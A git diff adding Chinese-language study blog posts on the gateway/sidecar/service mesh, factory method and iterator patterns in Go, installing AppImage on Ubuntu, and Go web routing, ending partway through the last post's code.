其中的应用服务由不同的供应商提供。 +- 把控制和逻辑分离,标准化控制面上的动作和技术,从而提高系统整体的稳定性和可用性。也有利于分工——并不是所有的程序员都可以做好控制面上的开发的。 +- 我们还要清楚 Sidecar 不适用于什么样的场景,下面罗列几个。 +- 架构并不复杂的时候,不需要使用这个模式,直接使用 API Gateway 或者 Nginx 和 HAProxy 等即可。 +- 服务间的协议不标准且无法转换。 +- 不需要分布式的架构。 + +# (补充)网关模式 + +前面,我们讲了 Sidecar 和 Service Mesh 这两个设计模式,这两种设计模式都是在不侵入业务逻辑的情况下,把控制面(control plane)和数据面(data plane)的处理解耦分离。但是这两种模式都让我们的运维成本变得特别大,因为每个服务都需要一个 Sidecar,这让本来就复杂的分布式系统的架构就更为复杂和难以管理了。 + +在谈 Service Mesh 的时候,我们提到了 Gateway。我个人觉得并不需要为每个服务的实例都配置上一个 Sidecar。其实,一个服务集群配上一个 Gateway 就可以了,或是一组类似的服务配置上一个 Gateway。 + +这样一来,Gateway 方式下的架构,可以细到为每一个服务的实例配置上一个自己的 Gateway,也可以粗到为一组服务配置一个,甚至可以粗到为整个架构配置一个接入的 Gateway。于是,整个系统架构的复杂度就会变得简单可控起来。![img](https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/%E5%B7%A6%E8%80%B3%E5%90%AC%E9%A3%8E/assets/2c82836fe26b71ce6ad228bf285795f9.png) + +这张图展示了一个多层 Gateway 架构,其中有一个总的 Gateway 接入所有的流量,并分发给不同的子系统,还有第二级 Gateway 用于做各个子系统的接入 Gateway。可以看到,网关所管理的服务粒度可粗可细。通过网关,我们可以把分布式架构组织成一个星型架构,由网络对服务的请求进行路由和分发,也可以架构成像 Servcie Mesh 那样的网格架构,或者只是为了适配某些服务的 Sidecar…… + +但是,我们也可以看到,这样一来,Sidecar 就不再那么轻量了,而且很有可能会变得比较重了。 + +总的来说,Gateway 是一个服务器,也可以说是进入系统的唯一节点。这跟面向对象设计模式中的 Facade 模式很像。Gateway 封装内部系统的架构,并且提供 API 给各个客户端。它还可能有其他功能,如授权、监控、负载均衡、缓存、熔断、降级、限流、请求分片和管理、静态响应处理,等等。 + +下面,我们来谈谈一个好的网关应该有哪些设计功能 + +#### 网关模式设计 + +一个网关需要有以下的功能。 + +- **请求路由**。因为不再是 Sidecar 了,所以网关必需要有请求路由的功能。这样一来,对于调用端来说,也是一件非常方便的事情。因为调用端不需要知道自己需要用到的其它服务的地址,全部统一地交给 Gateway 来处理。 +- **服务注册**。为了能够代理后面的服务,并把请求路由到正确的位置上,网关应该有服务注册功能,也就是后端的服务实例可以把其提供服务的地址注册、取消注册。一般来说,注册也就是注册一些 API 接口。比如,HTTP 的 Restful 请求,可以注册相应的 `API` 的 `URI`、方法、`HTTP` 头。 这样,Gateway 就可以根据接收到的请求中的信息来决定路由到哪一个后端的服务上。 +- **负载均衡**。因为一个网关可以接多个服务实例,所以网关还需要在各个对等的服务实例上做负载均衡策略。简单的就直接是 round robin 轮询,复杂点的可以设置上权重进行分发,再复杂一点还可以做到 session 粘连。 +- **弹力设计**。网关还可以把弹力设计中的那些异步、重试、幂等、流控、熔断、监视等都可以实现进去。这样,同样可以像 Service Mesh 那样,让应用服务只关心自己的业务逻辑(或是说数据面上的事)而不是控制逻辑(控制面) +- **安全方面**。SSL 加密及证书管理、Session 验证、授权、数据校验,以及对请求源进行恶意攻击的防范。错误处理越靠前的位置就是越好,所以,网关可以做到一个全站的接入组件来对后端的服务进行保护 +- **灰度发布**。网关完全可以做到对相同服务不同版本的实例进行导流,并还可以收集相关的数据。这样对于软件质量的提升,甚至产品试错都有非常积极的意义。 +- **API 聚合**。使用网关可将多个单独请求聚合成一个请求。在微服务体系的架构中,因为服务变小了,所以一个明显的问题是,客户端可能需要多次请求才能得到所有的数据。这样一来,客户端与后端之间的频繁通信会对应用程序的性能和规模产生非常不利的影响。于是,我们可以让网关来帮客户端请求多个后端的服务(有些场景下完全可以并发请求),然后把后端服务的响应结果拼装起来,回传给客户端(当然,这个过程也可以做成异步的,但这需要客户端的配合)。 +- **API 编排**。同样在微服务的架构下,要走完一个完整的业务流程,我们需要调用一系列 API,就像一种工作流一样,这个事完全可以通过网页来编排这个业务流程。我们可能通过一个 DSL 来定义和编排不同的 API,也可以通过像 AWS Lambda 服务那样的方式来串联不同的 API + +# Gateway、Sidecar 和 Service Mesh + +通过上面的描述,我们可以看到,网关、边车和 Service Mesh 是非常像的三种设计模式,很容易混淆。因此,我在这里想明确一下这三种设计模式的特点、场景和区别。 + +首先,Sidecar 的方式主要是用来改造已有服务。我们知道,要在一个架构中实施一些架构变更时,需要业务方一起过来进行一些改造。然而业务方的事情比较多,像架构上的变更会低优先级处理,这就导致架构变更的 " 政治复杂度 " 太大。而通过 Sidecar 的方式,我们可以适配应用服务,成为应用服务进出请求的代理。这样,我们就可以干很多对于业务方完全透明的事情了。 + +当 Sidecar 在架构中越来越多时,需要我们对 Sidecar 进行统一的管理。于是,我们为 Sidecar 增加了一个全局的中心控制器,就出现了我们的 Service Mesh。在中心控制器出现以后,我们发现,可以把非业务功能的东西全部实现在 Sidecar 和 Controller 中,于是就成了一个网格。业务方只需要把服务往这个网格中一放就好了,与其它服务的通讯、服务的弹力等都不用管了,像一个服务的 PaaS 平台。 + +然而,Service Mesh 的架构和部署太过于复杂,会让我们运维层面上的复杂度变大。为了简化这个架构的复杂度,我认为 Sidecar 的粒度应该是可粗可细的,这样更为方便。但我认为,Gateway 更为适合,而且 Gateway 只负责进入的请求,不像 Sidecar 还需要负责对外的请求。因为 Gateway 可以把一组服务给聚合起来,所以服务对外的请求可以交给对方服务的 Gateway。于是,我们只需要用一个只负责进入请求的 Gateway 来简化需要同时负责进出请求的 Sidecar 的复杂度。 + +总而言之,我觉得 Gateway 的方式比 Sidecar 和 Service Mesh 更好。当然,具体问题还要具体分析。 diff --git a/_posts/2022-10-05-test-markdown.md b/_posts/2022-10-05-test-markdown.md new file mode 100644 index 000000000000..5e48cea18816 --- /dev/null +++ b/_posts/2022-10-05-test-markdown.md @@ -0,0 +1,366 @@ +--- +layout: post +title: 工厂方法模式(Factory Method Pattern)与复杂对象的初始化 +subtitle: 将对象创建的逻辑封装起来,为使用者提供一个简单易用的对象创建接口 +tags: [Microservices gateway ] +--- +## 工厂方法模式(Factory Method Pattern)与复杂对象的初始化 + +### 注意事项: + +- (1)工厂方法模式跟上一节讨论的建造者模式类似,都是**将对象创建的逻辑封装起来,为使用者提供一个简单易用的对象创建接口**。两者在应用场景上稍有区别,建造者模式更常用于需要传递多个参数来进行实例化的场景。 +- (2)**代码可读性更好**。相比于使用C++/Java中的构造函数,或者Go中的`{}`来创建对象,工厂方法因为可以通过函数名来表达代码含义,从而具备更好的可读性。比如,使用工厂方法`productA := CreateProductA()`创建一个`ProductA`对象,比直接使用`productA := ProductA{}`的可读性要好 +- (3)**与使用者代码解耦**。很多情况下,对象的创建往往是一个容易变化的点,通过工厂方法来封装对象的创建过程,可以在创建逻辑变更时,避免**霰弹式修改** + +### 实现方式: + +- 工厂方法模式也有两种实现方式: +- (1)提供一个工厂对象,通过调用工厂对象的工厂方法来创建产品对象; +- (2)将工厂方法集成到产品对象中(C++/Java中对象的`static`方法,Go中同一`package`下的函数 + +``` +package aranatest + +type Type uint8 + +// 事件类型定义 +const ( + Start Type = iota + End +) + +// 事件抽象接口 +type Event interface { + EventType() Type + Content() string +} + +// 开始事件,实现了Event接口 +type StartEvent struct { + content string +} + +func (s *StartEvent) EventType() Type { + return Start +} +func (s *StartEvent) Content() string { + return "start" +} + +// 结束事件,实现了Event接口 +type EndEvent struct { + content string +} + +func (s *EndEvent) EventType() Type { + return End +} + +func (s *EndEvent) Content() string { + return "end" + +} + +type factroy struct { +} + +func (f *factroy) Create(b Type) Event { + switch b { + case Start: + return &StartEvent{} + case End: + return &EndEvent{} + default: + return nil + } + +} + +``` + +- 工厂方法首先知道所有的产品类型,并且每个产品需要一个属性需要来标志,而且所有的产品需要统一返回一个接口类型,并且这些产品都需要实现这个接口,这个接口下面肯定有一个方法来获取产品的类型的参数。 + + + +- 另外一种实现方法是:给每种类型提供一个工厂方法 + +``` +package aranatest + +type Type uint8 + +// 事件类型定义 +const ( + Start Type = iota + End +) + +// 事件抽象接口 +type Event interface { + EventType() Type + Content() string +} + +// 开始事件,实现了Event接口 +type StartEvent struct { + content string +} + +func (s *StartEvent) EventType() Type { + return Start +} +func (s *StartEvent) Content() string { + return "start" +} + +// 结束事件,实现了Event接口 +type EndEvent struct { + content string +} + +func (s *EndEvent) EventType() Type { + return End +} + +func (s *EndEvent) Content() string { + return "end" + +} + +type factroy struct { +} + +func (f *factroy) Create(b Type) Event { + switch b { + case Start: + return &StartEvent{} + case End: + return &EndEvent{} + default: + return nil + } + +} + +``` + +``` +package aranatest + +import "testing" + +func TestProduct(t *testing.T) { + s := OfStart() + if s.GetContent() != "start" { + t.Errorf("get%s want %s", s.GetContent(), "start") + } + + e := OfEnd() + if e.GetContent() != "end" { + t.Errorf("get%s want %s", e.GetContent(), "end") + } + +} + +``` + + + +## 抽象工厂模式 和 单一职责原则的矛盾 + +> 抽象工厂模式通过给工厂类新增一个抽象层解决了该问题,如上图所示,`FactoryA`和`FactoryB`都实现·抽象工厂接口,分别用于创建`ProductA`和`ProductB`。如果后续新增了`ProductC`,只需新增一个`FactoryC`即可,无需修改原有的代码;因为每个工厂只负责创建一个产品,因此也遵循了**单一职责原则**。 + +考虑需要如下一个插件架构风格的消息处理系统,`pipeline`是消息处理的管道,其中包含了`input`、`filter`和`output`三个插件。我们需要实现根据配置来创建`pipeline` ,加载插件过程的实现非常适合使用工厂模式,其中`input`、`filter`和`output`三类插件的创建使用抽象工厂模式,而`pipeline`的创建则使用工厂方法模式。 + +### 抽象工厂模式和工厂方法的使用情景 + +``` +package main + +import ( + "fmt" + "reflect" + "strings" +) + +type factoryType int + +type Factory interface { + CreateSpecificPlugin(cfg string) Plugin +} + +//工厂来源 +var factorys = map[factoryType]Factory{ + 1: &InputFactory{}, + 2: &FilterFactory{}, + 3: &OutputFactory{}, +} + +type AbstructFactory struct { +} + +func (a *AbstructFactory) CreateSpecificFactory(t factoryType) Factory { + return factorys[t] +} + +type Plugin interface { +} + +//----------------------------------------- +//input 创建来源 +var ( + inputNames = make(map[string]reflect.Type) +) + +func inputNamesInit() { + inputNames["hello"] = reflect.TypeOf(HelloInput{}) + inputNames["hello"] = reflect.TypeOf(DataInput{}) +} + +type InputFactory struct { +} + +func (i *InputFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := inputNames[cfg] + return reflect.New(t).Interface().(Plugin) + +} + +//存储这两个插件的接口 +type Input interface { + Plugin + Input() string +} + +//具体插件 +type HelloInput struct { +} + +func (h *HelloInput) Input() string { + return "msg:hello" +} + +type DataInput struct { +} + +func (d *DataInput) Input() string { + return "msg:data" +} + +//--------------------------- +//filter 创建来源 +var ( + filterNames = make(map[string]reflect.Type) +) + +func filterNamesInit() { + filterNames["upper"] = reflect.TypeOf(UpperFilter{}) + filterNames["lower"] = reflect.TypeOf(LowerFilter{}) +} + +type FilterFactory struct { +} + +func (f *FilterFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := filterNames[cfg] + return reflect.New(t).Interface().(Plugin) +} + +//存储这两个插件的接口 +type Filter interface { + Plugin + Process(msg string) string +} + +//具体插件 +type UpperFilter struct { +} + +func (u *UpperFilter) Process(msg string) string { + return strings.ToUpper(msg) +} + +type LowerFilter struct { +} + +func (l *LowerFilter) Process(msg string) string { + return strings.ToLower(msg) +} + +//------------------------------------------ +//outPut 创建来源 +var ( + outputNames = make(map[string]reflect.Type) +) + +func outPutNamesInit() { + outputNames["console"] = reflect.TypeOf(ConsoleOutput{}) + outputNames["file"] = reflect.TypeOf(FileOutput{}) + +} + +type OutputFactory struct { +} + +func (o *OutputFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := outputNames[cfg] + return reflect.New(t).Interface().(Plugin) +} + +//存储这两个插件的接口 +type Output interface { + Plugin + Send(msg string) +} + +//具体插件 +type ConsoleOutput struct { +} + +func (c *ConsoleOutput) Send(msg string) { + fmt.Println(msg, " has been send to Console") +} + +type FileOutput struct { +} + +func (c *FileOutput) Send(msg string) { + fmt.Println(msg, " has been send File") +} + +//管道 +type PipeLine struct { + Input Input + Filter Filter + Output Output +} + +func (p *PipeLine) Exec() { + msg := p.Input.Input() + processedMsg := p.Filter.Process(msg) + p.Output.Send(processedMsg) +} + +func main() { + inputNamesInit() + outPutNamesInit() + filterNamesInit() + + //创建最顶层的抽象总工厂 + a := AbstructFactory{} + inputfactory := a.CreateSpecificFactory(1) + filterfactory := a.CreateSpecificFactory(2) + outputfactory := a.CreateSpecificFactory(3) + inputPlugin := inputfactory.CreateSpecificPlugin("hello") + filterPlugin := filterfactory.CreateSpecificPlugin("upper") + outputPlugin := outputfactory.CreateSpecificPlugin("console") + p := PipeLine{ + Input: inputPlugin.(Input), + Filter: filterPlugin.(Filter), + Output: outputPlugin.(Output), + } + p.Exec() +} + +``` + diff --git a/_posts/2022-10-06-test-markdown.md b/_posts/2022-10-06-test-markdown.md new file mode 100644 index 000000000000..1784b943dd78 --- /dev/null +++ b/_posts/2022-10-06-test-markdown.md @@ -0,0 +1,58 @@ +--- +layout: post +title: What is AppImage? And how to install and use it under ubuntu? +subtitle: AppImage 是什么?以及如何在ubuntu下面安装与使用? +tags: [ appImage] +--- +# Linux Installation Instructions +## AppImage +layout: post +title: AppImage 是什么?以及如何在ubuntu下面安装与使用? +subtitle: Composing Methods + +tags: [ linux] +--- + +# Linux Installation Instructions + +## AppImage + +[Download the AppImage](https://github.com/marktext/marktext/releases/latest) + +1. `chmod +x appName.AppImage` +2. `./appName.AppImage` +3. Now you can execute app. + +### Installation + +You cannot really install an AppImage. It's a file which can run directly after getting executable permission. To integrate it into desktop environment, you can either create desktop entry manually **or** use [AppImageLauncher](https://github.com/TheAssassin/AppImageLauncher). + +#### Desktop file creation + +See [how to create desktop file in ubuntu ].https://www.maketecheasier.com/create-desktop-file-linux/ + + + +#### AppImageLauncher integration + +You can integrate the AppImage into the system via [AppImageLauncher](https://github.com/TheAssassin/AppImageLauncher). It will handle the desktop entry automatically. + +### Uninstallation + +1. Delete AppImage file. +2. Delete your desktop file if exists. +3. Delete your user settings: `~/.config/appName` + +### Custom launch script + +1. Save AppImage somewhere. Let's say `~/bin/appname.AppImage` + +2. `chmod +x ~/bin/appname.AppImage` + +3. Create a launch script: + + ```sh + #!/bin/bash + DESKTOPINTEGRATION=0 ~/bin/appname.AppImage + ``` + diff --git a/_posts/2022-10-07-test-markdown.md b/_posts/2022-10-07-test-markdown.md new file mode 100644 index 000000000000..bde8d5b54874 --- /dev/null +++ b/_posts/2022-10-07-test-markdown.md @@ -0,0 +1,547 @@ +--- +layout: post +title: 迭代器模式与提供复杂数据结构查询的API +subtitle: 迭代器模式主要用在访问对象集合的场景,能够向客户端隐藏集合的实现细节 +tags: [设计模式] +--- + +## 迭代器模式与提供复杂数据结构查询的API + +> 有时会遇到这样的需求,开发一个模块,用于保存对象;不能用简单的数组、列表,得是红黑树、跳表等较为复杂的数据结构;有时为了提升存储效率或持久化,还得将对象序列化;但必须给客户端提供一个易用的 API,**允许方便地、多种方式地遍历对象**,丝毫不察觉背后的数据结构有多复杂 + +从描述可知,**迭代器模式主要用在访问对象集合的场景,能够向客户端隐藏集合的实现细节**。 + +Java 的 Collection 家族、C++ 的 STL 标准库,都是使用迭代器模式的典范,它们为客户端提供了简单易用的 API,并且能够根据业务需要实现自己的迭代器,具备很好的可扩展性。 + +## 场景上下文 + +db 模块用来存储服务注册和监控信息,它的主要接口如下: + +``` +type Db interface { + CreateTable(t *Table) error + CreateTableIfNotExist(t *Table) error + DeleteTable(tableName string) error + + Query(tableName string, primaryKey interface{}, result interface{}) error + Insert(tableName string, primaryKey interface{}, record interface{}) error + Update(tableName string, primaryKey interface{}, record interface{}) error + Delete(tableName string, primaryKey interface{}) error + + ... +} +``` + +从增删查改接口可以看出,它是一个 key-value 数据库,另外,为了提供类似关系型数据库的**按列查询**能力,我们又抽象出 `Table` 对象: + +``` +package db + +// demo/db/table.go + +import ( + "errors" + //"fmt" + "reflect" + //"strings" +) + +// Table 数据表定义 +type Table struct { + name string + recordType reflect.Type + records map[interface{}]record +} + +func NewTable(name string) *Table { + return &Table{ + name: name, + records: make(map[interface{}]record), + } +} + +func (t *Table) WithType(recordType reflect.Type) *Table { + t.recordType = recordType + return t +} +func (t *Table) Insert(key interface{}, value interface{}) error { + + if _, ok := t.records[key]; ok { + return errors.New("ErrPrimaryKeyConflict") + } + record, err := recordFrom(key, value) + if err != nil { + return err + } + t.records[key] = record + return nil + +} + +``` + +``` +package db + +import ( + "errors" + "fmt" + "reflect" + "strings" +) + +// 因为数据库的每个表都存储着不同对象 +// 所以需要把类型存进去,根据类型创建自己需要的对象,再根据对象的属性,创建出表的每一列的属性 +// 其中,Table 底层用 map 存储对象数据,但并没有存储对象本身,而是从对象转换而成的 record +type record struct { + primaryKey interface{} + fields map[string]int + values []interface{} +} + +//从对象转化为 record +func recordFrom(key interface{}, value interface{}) (r record, e error) { + defer func() { + if err := recover(); err != nil { + r = record{} + e = errors.New("ErrRecordTypeInvalid") + } + }() + + vType := reflect.TypeOf(value) + fmt.Println("vType:", vType) + vVal := reflect.ValueOf(value) + fmt.Println("vVal:", vVal) + + if vVal.Type().Kind() == reflect.Ptr { + vType = vType.Elem() + vVal = vVal.Elem() + } + + record := record{ + primaryKey: key, + fields: make(map[string]int, vVal.NumField()), + values: make([]interface{}, vVal.NumField()), + } + fmt.Println("vVal.NumField()", vVal.NumField()) + + for i := 0; i < vVal.NumField(); i++ { + fieldType := vType.Field(i) + fieldVal := vVal.Field(i) + name := strings.ToLower(fieldType.Name) + record.fields[name] = i + record.values[i] = fieldVal.Interface() + } + + return record, nil + +} + +``` + +``` +package db + +import ( + "fmt" + "reflect" + "testing" +) + +type testRegion struct { + Id int + Name string +} + +func TestTable(t *testing.T) { + tableName := "testRegion" + table := NewTable(tableName).WithType((reflect.TypeOf(new(testRegion)))) + table.Insert(2, &testRegion{Id: 2, Name: "beijing"}) + fmt.Println(table.records) +} + +``` + + + +## 用迭代器实现 + +``` +package db + +// demo/db/table.go + +import ( + "errors" + //"fmt" + "math/rand" + "reflect" + "time" + //"strings" +) + +// Table 数据表定义 +type Table struct { + name string + recordType reflect.Type + records map[interface{}]record + // 关键点: 持有迭代器工厂方法接口 + iteratorFactory TableIteratorFactory +} + +func NewTable(name string) *Table { + return &Table{ + name: name, + records: make(map[interface{}]record), + } +} + +func (t *Table) WithType(recordType reflect.Type) *Table { + t.recordType = recordType + return t +} +func (t *Table) Insert(key interface{}, value interface{}) error { + + if _, ok := t.records[key]; ok { + return errors.New("ErrPrimaryKeyConflict") + } + record, err := recordFrom(key, value) + if err != nil { + return err + } + t.records[key] = record + return nil + +} + +// 关键点: 定义Setter方法,提供迭代器工厂的依赖注入 +func (t *Table) WithTableIteratorFactory(iteratorFactory TableIteratorFactory) *Table { + t.iteratorFactory = iteratorFactory + return t +} + +// 关键点: 定义创建迭代器的接口,其中调用迭代器工厂完成实例化 +func (t *Table) Iterator() TableIterator { + return t.iteratorFactory.Create(t) +} + +type Next func(interface{}) error +type HasNext func() bool + +func (t *Table) ClosureIterator() (HasNext, Next) { + var records []record + for _, r := range t.records { + records = append(records, r) + } + rand.Seed(time.Now().UnixNano()) + rand.Shuffle(len(records), func(i, j int) { + records[i], records[j] = records[j], records[i] + }) + size := len(records) + cursor := 0 + hasNext := func() bool { + return cursor < size + } + next := func(next interface{}) error { + record := records[cursor] + cursor++ + if err := record.convertByValue(next); err != nil { + return err + } + return nil + } + return hasNext, next +} + +``` + +``` +package db + +// demo/db/iterator.go + +import ( + "math/rand" + "sort" + "time" +) + +type TableIterator interface { + HasNext() bool + Next(next interface{}) error +} + +// 关键点: 定义迭代器接口的实现 +// tableIteratorImpl 迭代器接口公共实现类 用来实现遍历表 +type tableIteratorImpl struct { + // 关键点3: 定义一个集合存储待遍历的记录,这里的记录已经排序好或者随机打散 + records []record + // 关键点4: 定义一个cursor游标记录当前遍历的位置 + cursor int +} + +// 关键点5: 在HasNext函数中的判断是否已经遍历完所有记录 +func (r *tableIteratorImpl) HasNext() bool { + return r.cursor < len(r.records) +} + +// 关键点: 在Next函数中取出下一个记录,并转换成客户端期望的对象类型,记得增加cursor +func (r *tableIteratorImpl) Next(next interface{}) error { + record := r.records[r.cursor] + r.cursor++ + if err := record.convertByValue(next); err != nil { + return err + } + return nil +} + +type TableIteratorFactory interface { + Create(table *Table) TableIterator +} + +//创建迭代器的方式用工厂方法模式 +//工厂可以创建出两种具体的迭代器 randomTableIteratorFactory sortedTableIteratorFactory +type randomTableIteratorFactory struct { +} + +func NewRandomTableIteratorFactory() *randomTableIteratorFactory { + return &randomTableIteratorFactory{} +} +func (r *randomTableIteratorFactory) Create(table *Table) TableIterator { + var records []record + for _, r := range table.records { + records = append(records, r) + } + rand.Seed(time.Now().UnixNano()) + rand.Shuffle(len(records), func(i, j int) { + records[i], records[j] = records[j], records[i] + }) + return &tableIteratorImpl{ + records: records, + cursor: 0, + } +} + +type sortedTableIteratorFactory struct { + Comparator Comparator + //comparator Comparator +} + +func NewSortedTableIteratorFactory(c Comparator) *sortedTableIteratorFactory { + return &sortedTableIteratorFactory{ + Comparator: c, + } + +} + +func (s *sortedTableIteratorFactory) Create(table *Table) TableIterator { + var res []record + for _, r := range table.records { + res = append(res, r) + } + /* re := &records{ + rs: res, + comparator: s.Comparator, + } */ + sort.Sort(newrecords(res, s.Comparator)) + return &tableIteratorImpl{ + records: res, + cursor: 0, + } +} + +type records struct { + rs []record + comparator Comparator +} + +func newrecords(res []record, com Comparator) *records { + return &records{ + rs: res, + comparator: com, + } + +} + +type Comparator func(i interface{}, j interface{}) bool + +//Len() +func (r *records) Len() int { + return len(r.rs) +} + +//Less(): 成绩将有低到高排序 +func (r *records) Less(i, j int) bool { + return r.comparator(r.rs[i].primaryKey, r.rs[j].primaryKey) +} + +//Swap() +func (r *records) Swap(i, j int) { + tmp := r.rs[i] + r.rs[i] = r.rs[j] + r.rs[j] = tmp +} + +``` + +``` +// demo/db/iterator_test.go +package db + +import ( + "fmt" + "reflect" + "testing" +) + +func regionIdLess(i, j interface{}) bool { + id1, ok := i.(int) + if !ok { + return false + } + id2, ok := j.(int) + if !ok { + return false + } + return id1 < id2 +} + +func TestRandomTableIterator(t *testing.T) { + table := NewTable("testRegion").WithType(reflect.TypeOf(new(testRegion))). + WithTableIteratorFactory(NewSortedTableIteratorFactory(regionIdLess)) + table.Insert(1, &testRegion{Id: 1, Name: "beijing"}) + table.Insert(2, &testRegion{Id: 2, Name: "shanghai"}) + table.Insert(3, &testRegion{Id: 3, Name: "guangdong"}) + //根据table得到 一个存储 排好顺序切片 和指向index的 结构体 + hasNext, next := table.ClosureIterator() + + for i := 0; i < 3; i++ { + if !hasNext() { + t.Error("records size error") + } + region := new(testRegion) + if err := next(region); err != nil { + t.Error(err) + } + fmt.Printf("%+v\n", region) + } + if hasNext() { + t.Error("should not has next") + } + +} + +func TestSortTableIterator(t *testing.T) { + table := NewTable("testRegion").WithType(reflect.TypeOf(new(testRegion))). + WithTableIteratorFactory(NewSortedTableIteratorFactory(regionIdLess)) + table.Insert(3, &testRegion{Id: 3, Name: "beijing"}) + table.Insert(1, &testRegion{Id: 1, Name: "shanghai"}) + table.Insert(2, &testRegion{Id: 2, Name: "guangdong"}) + iter := table.Iterator() + region1 := new(testRegion) + iter.Next(region1) + if region1.Id != 1 { + t.Error("region1 sort failed") + } + region2 := new(testRegion) + iter.Next(region2) + if region2.Id != 2 { + t.Error("region2 sort failed") + } + region3 := new(testRegion) + iter.Next(region3) + if region3.Id != 3 { + t.Error("region3 sort failed") + } +} + +``` + +``` + +// 需要用到的包 +// demo/db/record.go +package db + +import ( + "errors" + //"fmt" + "reflect" + "strings" +) + +// 因为数据库的每个表都存储着不同对象 +// 所以需要把类型存进去,根据类型创建自己需要的对象,再根据对象的属性,创建出表的每一列的属性 +// 其中,Table 底层用 map 存储对象数据,但并没有存储对象本身,而是从对象转换而成的 record +type record struct { + primaryKey interface{} + fields map[string]int + values []interface{} +} + +//从对象转化为 record +func recordFrom(key interface{}, value interface{}) (r record, e error) { + defer func() { + if err := recover(); err != nil { + r = record{} + e = errors.New("ErrRecordTypeInvalid") + } + }() + + vType := reflect.TypeOf(value) + //fmt.Println("vType:", vType) + vVal := reflect.ValueOf(value) + //fmt.Println("vVal:", vVal) + + if vVal.Type().Kind() == reflect.Ptr { + //fmt.Println("is ptr") + vType = vType.Elem() + //fmt.Println("vType:", vType) + + vVal = vVal.Elem() + //fmt.Println("vVal:", vVal) + + } + + record := record{ + primaryKey: key, + fields: make(map[string]int, vVal.NumField()), + values: make([]interface{}, vVal.NumField()), + } + //fmt.Println("vVal.NumField()", vVal.NumField()) + + for i := 0; i < vVal.NumField(); i++ { + fieldType := vType.Field(i) + //fmt.Println("fieldType :", fieldType) + fieldVal := vVal.Field(i) + //fmt.Println("fieldVal:", fieldVal) + name := strings.ToLower(fieldType.Name) + record.fields[name] = i + record.values[i] = fieldVal.Interface() + } + + return record, nil + +} + +func (r record) convertByValue(result interface{}) (e error) { + defer func() { + if err := recover(); err != nil { + e = errors.New("ErrRecordTypeInvalid") + } + }() + rType := reflect.TypeOf(result) + rVal := reflect.ValueOf(result) + if rType.Kind() == reflect.Ptr { + rType = rType.Elem() + rVal = rVal.Elem() + } + for i := 0; i < rType.NumField(); i++ { + field := rVal.Field(i) + field.Set(reflect.ValueOf(r.values[i])) + } + return nil +} + +``` + diff --git a/_posts/2022-10-09-test-markdown.md b/_posts/2022-10-09-test-markdown.md new file mode 100644 index 000000000000..04d4be8715cb --- /dev/null +++ b/_posts/2022-10-09-test-markdown.md @@ -0,0 +1,973 @@ +--- +layout: post +title: Go和Web +subtitle: 迭代器模式主要用在访问对象集合的场景,能够向客户端隐藏集合的实现细节 +tags: [设计模式] +--- + +# go和Web + +## 1.Web开发 + +> 因为 Go 的 `net/http` 包提供了基础的路由函数组合与丰富的功能函数。所以在社区里流行一种用 Go 编写 API 不需要框架的观点,在我们看来,如果的项目的路由在个位数、URI 固定且不通过 URI 来传递参数,那么确实使用官方库也就足够。但在复杂场景下,官方的 http 库还是有些力有不逮。例如下面这样的路由: + +> ```go +> > GET /card/:id +> +> > POST /card/:id +> +> > DELTE /card/:id +> +> > GET /card/:id/name +> +> > GET /card/:id/relations +> ``` + +Go 的 Web 框架大致可以分为这么两类: + +1. Router 框架 + +2. MVC 类框架 + +在框架的选择上,大多数情况下都是依照个人的喜好和公司的技术栈。例如公司有很多技术人员是 PHP 出身,那么他们一定会非常喜欢像 beego 这样的框架,但如果公司有很多 C 程序员,那么他们的想法可能是越简单越好。比如很多大厂的 C 程序员甚至可能都会去用 C 语言去写很小的 CGI 程序,他们可能本身并没有什么意愿去学习 MVC 或者更复杂的 Web 框架,他们需要的只是一个非常简单的路由(甚至连路由都不需要,只需要一个基础的 HTTP 协议处理库来帮他省掉没什么意思的体力劳动)。Go 的 `net/http` 包提供的就是这样的基础功能,写一个简单的 `http echo server` 只需要 30s。 + +```go +package main + +import ( + +"net/http" + +"io/ioutil" + +) + +func echo(wr http.ResponseWriter, r *http.Request) { + +msg, err := ioutil.ReadAll(r.Body) + +if err != nil { + +wr.Write([]byte("echo error")) + +return + +} + + + +writeLen, err := wr.Write(msg) + +if err != nil || writeLen != len(msg) { + +log.Println(err, "write len:", writeLen) + +} + +} + + + +func main() { + +http.HandleFunc("/", echo) + +err := http.ListenAndServe(":8080", nil) + +if err != nil { + +log.Fatal(err) + +} + +} +``` + +开源社区中一个 Kafka 监控项目中的做法: + +```go +//Burrow: http_server.go + +func NewHttpServer(app *ApplicationContext) (*HttpServer, error) { + +... + +server.mux.HandleFunc("/", handleDefault) + + + +server.mux.HandleFunc("/burrow/admin", handleAdmin) + + + +server.mux.Handle("/v2/kafka", appHandler{server.app, handleClusterList}) + +server.mux.Handle("/v2/kafka/", appHandler{server.app, handleKafka}) + +server.mux.Handle("/v2/zookeeper", appHandler{server.app, handleClusterList}) + +... + +} +``` + +``` +没有使用任何 router 框架,只使用了 `net/http`。只看上面这段代码似乎非常优雅,我们的项目里大概只有这五个简单的 URI,所以我们提供的服务就是下面这个样子:/ + +/burrow/admin + +/v2/kafka + +/v2/kafka/ + +/v2/zookeeper +``` + +进 `handleKafka()` 这个函数一探究竟: + +```go +func handleKafka(app *ApplicationContext, w http.ResponseWriter, r *http.Request) (int, string) { + +pathParts := strings.Split(r.URL.Path[1:], "/") + +if _, ok := app.Config.Kafka[pathParts[2]]; !ok { + +return makeErrorResponse(http.StatusNotFound, "cluster not found", w, r) + +} + +if pathParts[2] == "" { + +// Allow a trailing / on requests + +return handleClusterList(app, w, r) + +} + +if (len(pathParts) == 3) || (pathParts[3] == "") { + +return handleClusterDetail(app, w, r, pathParts[2]) + +} + + + +switch pathParts[3] { + +case "consumer": + +switch { + +case r.Method == "DELETE": + +switch { + +case (len(pathParts) == 5) || (pathParts[5] == ""): + +return handleConsumerDrop(app, w, r, pathParts[2], pathParts[4]) + +default: + +return makeErrorResponse(http.StatusMethodNotAllowed, "request method not supported", w, r) + +} + +case r.Method == "GET": + +switch { + +case (len(pathParts) == 4) || (pathParts[4] == ""): + +return handleConsumerList(app, w, r, pathParts[2]) + +case (len(pathParts) == 5) || (pathParts[5] == ""): + +// Consumer detail - list of consumer streams/hosts? Can be config info later + +return makeErrorResponse(http.StatusNotFound, "unknown API call", w, r) + +case pathParts[5] == "topic": + +switch { + +case (len(pathParts) == 6) || 